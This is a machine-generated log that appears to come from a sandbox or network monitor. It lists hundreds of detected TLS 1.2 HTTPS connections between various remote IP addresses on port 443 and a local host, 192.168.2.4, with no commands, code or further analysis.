Source: unknown	HTTPS traffic detected: 45.40.150.54:443 -> 192.168.2.4:60737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.250.126.5:443 -> 192.168.2.4:61651 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.245:443 -> 192.168.2.4:61770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.200.30.31:443 -> 192.168.2.4:61744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:61604 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.164.64.246:443 -> 192.168.2.4:61613 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:61650 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.235.200.147:443 -> 192.168.2.4:61660 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.220.219.189:443 -> 192.168.2.4:61608 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.45:443 -> 192.168.2.4:61704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:61621 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.128.62.138:443 -> 192.168.2.4:61639 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.136.104.255:443 -> 192.168.2.4:61598 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:61635 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.54.192.125:443 -> 192.168.2.4:61633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.130.5:443 -> 192.168.2.4:61636 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.47.252.115:443 -> 192.168.2.4:61620 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.136.104.255:443 -> 192.168.2.4:61640 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.236.29.106:443 -> 192.168.2.4:61622 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:61913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:61830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.235.200.147:443 -> 192.168.2.4:61883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.96.186.206:443 -> 192.168.2.4:62392 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.40.150.54:443 -> 192.168.2.4:62180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.203.176:443 -> 192.168.2.4:61944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.233.137.124:443 -> 192.168.2.4:61943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.208.27:443 -> 192.168.2.4:62480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.83.33.36:443 -> 192.168.2.4:62477 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:62478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.14.141:443 -> 192.168.2.4:62485 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:61828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:62479 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 120.88.73.238:443 -> 192.168.2.4:61938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 117.20.63.148:443 -> 192.168.2.4:62409 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:62657 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.210.96.117:443 -> 192.168.2.4:62748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.250.126.5:443 -> 192.168.2.4:62809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.167.58.161:443 -> 192.168.2.4:62702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:62885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.245:443 -> 192.168.2.4:62881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.203.32.4:443 -> 192.168.2.4:62828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.83.33.36:443 -> 192.168.2.4:62834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.220.219.189:443 -> 192.168.2.4:62753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.208.27:443 -> 192.168.2.4:62910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:62749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:62902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:62840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.250.126.5:443 -> 192.168.2.4:62843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:62841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.167.58.161:443 -> 192.168.2.4:62886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.245:443 -> 192.168.2.4:62844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.200.30.31:443 -> 192.168.2.4:63214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:62908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.136.104.255:443 -> 192.168.2.4:62925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.208.26.152:443 -> 192.168.2.4:62944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.236.29.106:443 -> 192.168.2.4:62909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.226.37.158:443 -> 192.168.2.4:62806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.47.252.115:443 -> 192.168.2.4:62924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:62923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.128.62.138:443 -> 192.168.2.4:62915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.130.5:443 -> 192.168.2.4:62918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.83.33.36:443 -> 192.168.2.4:63558 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:62884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.203.176:443 -> 192.168.2.4:63278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.14.141:443 -> 192.168.2.4:63481 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 47.246.24.211:443 -> 192.168.2.4:63476 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:63562 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:63517 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.62.220:443 -> 192.168.2.4:63568 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.45:443 -> 192.168.2.4:63533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:63567 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.220.219.189:443 -> 192.168.2.4:63585 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.164.64.246:443 -> 192.168.2.4:63587 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:63583 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:63732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:63590 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:63586 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.52.221.51:443 -> 192.168.2.4:62899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:64149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:64232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:64335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.235.200.147:443 -> 192.168.2.4:64233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.14.141:443 -> 192.168.2.4:64236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.250.126.5:443 -> 192.168.2.4:64473 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.40.150.54:443 -> 192.168.2.4:64387 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.203.32.4:443 -> 192.168.2.4:64311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.111.240.6:443 -> 192.168.2.4:64102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.96.186.206:443 -> 192.168.2.4:64229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.208.27:443 -> 192.168.2.4:64237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:64234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.200.30.31:443 -> 192.168.2.4:64372 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.167.58.161:443 -> 192.168.2.4:64304 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:64329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.245:443 -> 192.168.2.4:64220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:64228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.235.200.147:443 -> 192.168.2.4:64225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.228.96.142:443 -> 192.168.2.4:64388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:64334 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.203.176:443 -> 192.168.2.4:64308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:65151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:64895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.14.141:443 -> 192.168.2.4:65122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:64705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.208.27:443 -> 192.168.2.4:65065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:65067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.167.58.161:443 -> 192.168.2.4:65072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.245:443 -> 192.168.2.4:65117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.220.219.189:443 -> 192.168.2.4:65200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:65206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.54.192.125:443 -> 192.168.2.4:65203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:65482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.130.5:443 -> 192.168.2.4:65374 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:65302 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.136.104.255:443 -> 192.168.2.4:65068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:65483 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.83.33.36:443 -> 192.168.2.4:49296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.236.29.106:443 -> 192.168.2.4:65301 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.164.64.246:443 -> 192.168.2.4:65271 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:49351 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.45:443 -> 192.168.2.4:49164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.130.5:443 -> 192.168.2.4:65493 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:49517 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:49519 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.19.159.64:443 -> 192.168.2.4:65467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 47.246.24.211:443 -> 192.168.2.4:49461 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.245:443 -> 192.168.2.4:49413 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.220.219.189:443 -> 192.168.2.4:49310 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.210.96.117:443 -> 192.168.2.4:49479 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.236.29.106:443 -> 192.168.2.4:49285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.200.30.31:443 -> 192.168.2.4:49504 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:49454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:49508 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.111.240.6:443 -> 192.168.2.4:49452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.203.32.4:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:49681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.208.27:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.208.26.152:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.250.126.5:443 -> 192.168.2.4:50255 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.208.27:443 -> 192.168.2.4:50666 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:50463 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.47.252.115:443 -> 192.168.2.4:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.45:443 -> 192.168.2.4:50469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.203.176:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.14.141:443 -> 192.168.2.4:50818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.96.186.206:443 -> 192.168.2.4:50826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:50488 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:51030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:50493 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:51002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.167.58.161:443 -> 192.168.2.4:50718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:50821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.62.143.50:443 -> 192.168.2.4:50822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.52.221.51:443 -> 192.168.2.4:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:51102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:51197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.62.220:443 -> 192.168.2.4:51203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.40.150.54:443 -> 192.168.2.4:51115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:51306 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.203.32.4:443 -> 192.168.2.4:51330 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:51276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.45:443 -> 192.168.2.4:51315 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:51181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:51105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.54.192.125:443 -> 192.168.2.4:51350 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.233.137.124:443 -> 192.168.2.4:51189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:51448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.136.104.255:443 -> 192.168.2.4:51277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.235.200.147:443 -> 192.168.2.4:51574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.226.37.158:443 -> 192.168.2.4:51106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.130.5:443 -> 192.168.2.4:51380 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:51620 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.208.27:443 -> 192.168.2.4:51602 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:51428 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.130.5:443 -> 192.168.2.4:51540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.14.141:443 -> 192.168.2.4:51701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.208.27:443 -> 192.168.2.4:51798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:51381 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:51799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:51382 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.167.58.161:443 -> 192.168.2.4:51755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.236.29.106:443 -> 192.168.2.4:51505 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.83.33.36:443 -> 192.168.2.4:52052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 117.20.63.148:443 -> 192.168.2.4:51334 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.236.29.106:443 -> 192.168.2.4:51693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.235.200.147:443 -> 192.168.2.4:52241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.62.143.50:443 -> 192.168.2.4:52165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.210.96.117:443 -> 192.168.2.4:52329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:52252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.96.186.206:443 -> 192.168.2.4:52420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:52337 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.45:443 -> 192.168.2.4:52426 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:52390 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.220.219.189:443 -> 192.168.2.4:52454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.47.252.115:443 -> 192.168.2.4:52453 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:52494 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.40.150.54:443 -> 192.168.2.4:52552 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.54.192.125:443 -> 192.168.2.4:52534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:52460 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:52478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:52952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.235.200.147:443 -> 192.168.2.4:52662 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:52720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.130.5:443 -> 192.168.2.4:52696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.136.104.255:443 -> 192.168.2.4:52666 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.83.33.36:443 -> 192.168.2.4:53143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:53083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.45:443 -> 192.168.2.4:53186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:53071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:53236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 120.88.73.238:443 -> 192.168.2.4:52730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:53210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:53147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.177:443 -> 192.168.2.4:53145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:53224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:53272 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.236.29.106:443 -> 192.168.2.4:53167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:53290 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.96.186.206:443 -> 192.168.2.4:55752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.210.96.117:443 -> 192.168.2.4:55748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.40.150.54:443 -> 192.168.2.4:55749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:55727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.250.126.5:443 -> 192.168.2.4:56099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:56103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:56109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.62.220:443 -> 192.168.2.4:56108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.54.192.125:443 -> 192.168.2.4:56066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.228.96.142:443 -> 192.168.2.4:56118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.130.5:443 -> 192.168.2.4:56209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:56197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.136.104.255:443 -> 192.168.2.4:56200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.47.252.115:443 -> 192.168.2.4:56222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:56233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:56235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.47.252.115:443 -> 192.168.2.4:56237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:56254 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:56258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 120.88.73.238:443 -> 192.168.2.4:56137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 117.20.63.148:443 -> 192.168.2.4:56116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.52.221.51:443 -> 192.168.2.4:55706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.236.29.106:443 -> 192.168.2.4:56264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.185.0.1:443 -> 192.168.2.4:56300 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.250.126.5:443 -> 192.168.2.4:56306 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:56312 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.228.96.142:443 -> 192.168.2.4:56317 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:56320 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.111.240.6:443 -> 192.168.2.4:56304 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.235.200.147:443 -> 192.168.2.4:56351 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 120.88.73.238:443 -> 192.168.2.4:56307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.250.126.5:443 -> 192.168.2.4:56379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:56346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.220.219.189:443 -> 192.168.2.4:56352 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:56390 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:56391 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.40.150.54:443 -> 192.168.2.4:56417 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.210.96.117:443 -> 192.168.2.4:56432 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.233.137.124:443 -> 192.168.2.4:56411 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.136.104.255:443 -> 192.168.2.4:56409 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:56421 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:56435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.111.240.6:443 -> 192.168.2.4:56451 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.47.252.115:443 -> 192.168.2.4:56533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:56567 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.233.137.124:443 -> 192.168.2.4:56577 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:56618 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.168.220.210:443 -> 192.168.2.4:56801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:56815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:56828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:56848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.111.240.6:443 -> 192.168.2.4:56882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 117.20.63.148:443 -> 192.168.2.4:56894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:57033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:57066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.228.96.142:443 -> 192.168.2.4:57176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.111.240.6:443 -> 192.168.2.4:57161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.0.13.44:443 -> 192.168.2.4:57253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.135.132.105:443 -> 192.168.2.4:57282 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.52.221.51:443 -> 192.168.2.4:57155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:57406 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:57389 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.47.252.115:443 -> 192.168.2.4:57447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.233.137.124:443 -> 192.168.2.4:57801 version: TLS 1.2
